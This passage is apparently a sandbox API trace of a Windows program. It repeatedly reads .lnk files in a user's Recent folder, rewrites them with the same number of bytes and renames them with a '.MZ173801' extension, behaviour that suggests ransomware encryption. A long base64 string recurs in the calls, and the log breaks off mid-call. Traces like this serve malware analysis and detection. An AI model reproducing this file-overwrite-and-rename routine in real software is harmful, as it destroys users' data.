WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XHVOZ5Eqp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xhvoz5eqp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.423] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa2c, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa2c, lpOverlapped=0x0) returned 1 [0122.424] CloseHandle (hObject=0x288) returned 1 [0122.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XHVOZ5Eqp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xhvoz5eqp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.425] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa2c, lpOverlapped=0x0) returned 1 [0122.426] CloseHandle (hObject=0x288) returned 1 [0122.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XHVOZ5Eqp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xhvoz5eqp.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XHVOZ5Eqp.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xhvoz5eqp.lnk.mz173801")) returned 1 [0122.439] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc834c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc834c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc834c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="XLS81S1HBOf.lnk", cAlternateFileName="XLS81S~1.LNK")) returned 1 [0122.439] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.439] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XLS81S1HBOf.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xls81s1hbof.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc834c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc834c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfc834c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa42)) returned 1 [0122.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XLS81S1HBOf.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xls81s1hbof.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.444] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa42, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa42, lpOverlapped=0x0) returned 1 [0122.445] CloseHandle (hObject=0x288) returned 1 [0122.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XLS81S1HBOf.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xls81s1hbof.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.446] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa42, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa42, lpOverlapped=0x0) returned 1 [0122.448] CloseHandle (hObject=0x288) returned 1 [0122.453] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XLS81S1HBOf.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xls81s1hbof.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XLS81S1HBOf.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xls81s1hbof.lnk.mz173801")) returned 1 [0122.454] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd85c6a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd85c6a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd85c6a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20eb, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="XM-FeXb2tPl1aiPGuzhK.lnk", cAlternateFileName="XM-FEX~1.LNK")) returned 1 [0122.454] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.454] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.455] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XM-FeXb2tPl1aiPGuzhK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xm-fexb2tpl1aipguzhk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd85c6a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd85c6a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd85c6a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20eb)) returned 1 [0122.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 